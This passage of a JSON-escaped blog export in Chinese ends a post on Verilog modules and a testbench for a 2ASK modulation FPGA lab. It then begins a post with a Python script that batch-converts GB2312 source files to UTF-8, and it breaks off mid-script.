punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elen \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e M_len \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emxulie_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003em_sequence \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_sequence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/m%E5%BA%8F%E5%88%97.png\"/\u003e\u003ch3 id=\"4-键控开关\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#4-%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3\" class=\"headerlink\" title=\"4.键控开关\"\u003e\u003c/a\u003e4.键控开关\u003c/h3\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E9%94%AE%E6%8E%A7%E5%BC%80%E5%85%B3.png\" style=\"zoom:50%;\"/\u003e\u003cblockquote\u003e\u003cp\u003e键控开关示意图图上图所示,其中data[7:0]端输入载波信号,gate端输入基带码元,当gate信号为1时,载波信号通过,如果gate信号为0时,载波信号不能通过。模块的输出端q[7:0]输出2ASK已调信号。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003ccode\u003elpm_gate.v\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003elpm_gate\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e gate\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways@\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003egate \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u0026#39;b01111111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// +127将0变换过去\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"整合以及整体仿真\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%95%B4%E5%90%88%E4%BB%A5%E5%8F%8A%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"整合以及整体仿真\"\u003e\u003c/a\u003e整合以及整体仿真\u003c/h2\u003e\u003cp\u003e将以上各个模块添加进实验给定的模板,并生成原理图,然后连线。\u003c/p\u003e\u003cp\u003e要整体仿真,所以要先把原理图转换为 \u003ccode\u003eVerilog\u003c/code\u003e (File -\u0026gt; Create / Update -\u0026gt; Create HDL Design File from Current File…),之后从工程文件移除原理图,设置生成的 \u003ccode\u003everilog\u003c/code\u003e 文件为顶层文件进行编译,然后仿真。\u003c/p\u003e\u003cp\u003e通过对比编译出来的 RTL 视图,符合给定框图。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/twoask.png\"/\u003e\u003cp\u003e整体仿真,只要注意 \u003ccode\u003eclk\u003c/code\u003e , \u003ccode\u003em_squence\u003c/code\u003e , \u003ccode\u003etwo_ask[7...0]\u003c/code\u003e 这几个信号就行。 \u003ccode\u003etestbench\u003c/code\u003e 如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e tb_sim\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e m_squence\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e two_ask\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003etwoask \u003cspan class=\"token function\"\u003etwoask_inst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003em_squence\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em_squence\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003etwo_ask\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etwo_ask\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E6%95%B4%E4%BD%93%E4%BB%BF%E7%9C%9F.jpg\"/\u003e\u003ch3 id=\"管脚分配\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%AE%A1%E8%84%9A%E5%88%86%E9%85%8D\" class=\"headerlink\" title=\"管脚分配\"\u003e\u003c/a\u003e管脚分配\u003c/h3\u003e\u003cp\u003e管脚分配啥的给的模板文件里已经分配好了,直接用就行。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e毕竟是主要是记录 \u003ccode\u003everilog\u003c/code\u003e 的一个学习过程,剩下的就不分析了,属于是实验报告里的活。这算是第一次用 \u003ccode\u003everilog\u003c/code\u003e 干这种比较综合的活?接触到了一些新玩意,IP核,mif文件之类的。也锻炼了从s一样实验指导手册里提炼信息的能力?\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(然后细节和要补充的等后面想起来再说\u003c/del\u003e \u003c/p\u003e\u003cp\u003e \u003cdel\u003e(我超突然想起来线下验收完忘了拍时域波形\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/5f6b/"},{"title":"批量转换文件编码gb2312转utf-8","time":"2022-08-10T09:32:11Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"批量转换文件编码gb2312转utf-8\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E6%89%B9%E9%87%8F%E8%BD%AC%E6%8D%A2%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81gb2312%E8%BD%ACutf-8\" class=\"headerlink\" title=\"批量转换文件编码gb2312转utf-8\"\u003e\u003c/a\u003e批量转换文件编码gb2312转utf-8\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e锟斤拷烫烫烫\u003c/del\u003e\u003c/p\u003e\u003cp\u003e这几天网上找代码学习用vscode打开之后中文全是乱码,转换编码为 \u003ccode\u003egb2312\u003c/code\u003e 后才正常显示,之前也因为这玩意狠狠的踩坑( \u003ccode\u003eKeil\u003c/code\u003e 默认的编码对中文来说太坑了。但是一个工程里文件很多,所以就需要一个批量把这些文件转换为 \u003ccode\u003eutf-8\u003c/code\u003e 的脚本。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/1.webp\" style=\"zoom: 67%;\"/\u003e\u003ch2 id=\"参考博客\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/a417655340/article/details/124460824\"\u003e批量转换文件编码gb2312转utf-8_每天一罐可乐的博客-CSDN博客_批量转换编码格式\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42336581/article/details/125776879\"\u003epython 递归遍历目录下的所有文件_Joy-\u0026gt;Boy的博客-CSDN博客_python递归获取文件夹下所有文件\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"关于文件编码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E5%85%B3%E4%BA%8E%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"关于文件编码\"\u003e\u003c/a\u003e关于文件编码\u003c/h2\u003e\u003cp\u003eb站上找到的这个视频挺好。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1U5411d7FB\"\u003e「烫烫屯屯锟斤拷」揭秘ASCII、GBK、UTF-8,B站独家,一听就懂\u003c/a\u003e\u003c/p\u003e\u003ciframe src=\"//player.bilibili.com/player.html?aid=468972234\u0026amp;bvid=BV1U5411d7FB\u0026amp;cid=715388833\u0026amp;page=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\u003ch2 id=\"脚本\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E8%84%9A%E6%9C%AC\" class=\"headerlink\" title=\"脚本\"\u003e\u003c/a\u003e脚本\u003c/h2\u003e\u003cp\u003e其实网上随便一搜就有好多,试了一个效果不错,但是只能转换根目录下的文件。于是我稍微做了点修改。\u003c/p\u003e\u003cp\u003e效果还是不错的\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003e运行结果\u003c/summary\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\" language-bash\" data-language=\"bash\"\u003e\u003ccode class=\" language-bash\"\u003e请输入要转换编码的文件夹路径:C:\\Demo_OLED_STM32F103RCT6_Software_IIC===============================================================fileName fileEncoding===============================================================core_cm3.c GB18030core_cm3.h GB18030iic.c GB18030iic.h GB18030bmp.h GB18030oled.c GB18030oled.h GB18030oledfont.h GB18030RTE_Components.h GB18030misc.h GB18030stm32f10x_adc.h GB18030stm32f10x_bkp.h GB18030stm32f10x_can.h GB18030stm32f10x_cec.h GB18030stm32f10x_crc.h GB18030stm32f10x_dac.h GB18030stm32f10x_dbgmcu.h GB18030stm32f10x_dma.h GB18030stm32f10x_exti.h GB18030stm32f10x_flash.h GB18030stm32f10x_fsmc.h GB18030stm32f10x_gpio.h GB18030stm32f10x_i2c.h GB18030stm32f10x_iwdg.h GB18030stm32f10x_pwr.h GB18030stm32f10x_rcc.h GB18030stm32f10x_rtc.h GB18030stm32f10x_sdio.h GB18030stm32f10x_spi.h GB18030stm32f10x_tim.h GB18030stm32f10x_usart.h GB18030stm32f10x_wwdg.h GB18030misc.c GB18030stm32f10x_adc.c GB18030stm32f10x_bkp.c GB18030stm32f10x_can.c GB18030stm32f10x_cec.c GB18030stm32f10x_crc.c GB18030stm32f10x_dac.c GB18030stm32f10x_dbgmcu.c GB18030stm32f10x_dma.c GB18030stm32f10x_exti.c GB18030stm32f10x_flash.c GB18030stm32f10x_fsmc.c GB18030stm32f10x_gpio.c GB18030stm32f10x_i2c.c GB18030stm32f10x_iwdg.c GB18030stm32f10x_pwr.c GB18030stm32f10x_rcc.c GB18030stm32f10x_rtc.c GB18030stm32f10x_sdio.c GB18030stm32f10x_spi.c GB18030stm32f10x_tim.c GB18030stm32f10x_usart.c GB18030stm32f10x_wwdg.c GB18030delay.c GB18030delay.h GB18030sys.c GB18030sys.h GB18030gui.c GB18030gui.h GB18030main.c GB18030stm32f10x.h GB18030stm32f10x_conf.h GB18030stm32f10x_it.c GB18030stm32f10x_it.h GB18030system_stm32f10x.c GB18030system_stm32f10x.h GB18030test.c GB18030test.h GB18030---------错误统计------------共0个错误!-----------------------------\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/details\u003e\u003cimg src=\"https://yun.ksfu.top/blog/gb2312/2.webp\" style=\"zoom:67%;\"/\u003e\u003cp\u003e直接打开,舒服了\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/2d8a/#%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e codecsgErrArray \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003econvert\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e out_enc\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003etry\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 直接设置GB18030编码节省时间\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;GB18030\u0026#39;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;{0:50}{1}\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eformat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efileName\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e source_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e \u003cspan class=\"token boolean\"\u003eNone\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e source_encoding \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e out_enc\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e content \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e content\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003edecode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003esource_encoding\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eencode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout_enc\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e codecs\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003econtent\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;can not recgonize file encoding %s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e filePath\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e gErrArray\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eappend\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;%s:%s\u0026#34;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e%\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilePath\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e err\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"token function\"\u003eshow_files\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token triple-quoted-string string\"\u003e\u0026#34;\u0026#34;\u0026#34; 遍历当前目录所有py文件及文件夹 :param path: :param all_files: :return: \u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e file_list \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003elistdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 准备循环判断每个元素是否是文件夹还是文件,是文件的话,把名称传入list,是文件夹的话,递归\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e file_list\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 利用os.path.join()方法取得路径全名,并存入cur_path变量,否则每次只能遍历一层目录\u003c/span\u003e cur_path \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ejoin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase_path\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 判断是否是文件夹\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eisdir\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e show_files\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecur_path\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003esplitext\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003efile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e suffix \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;.h\u0026#39;\u003c/span\u003e \u003cspan 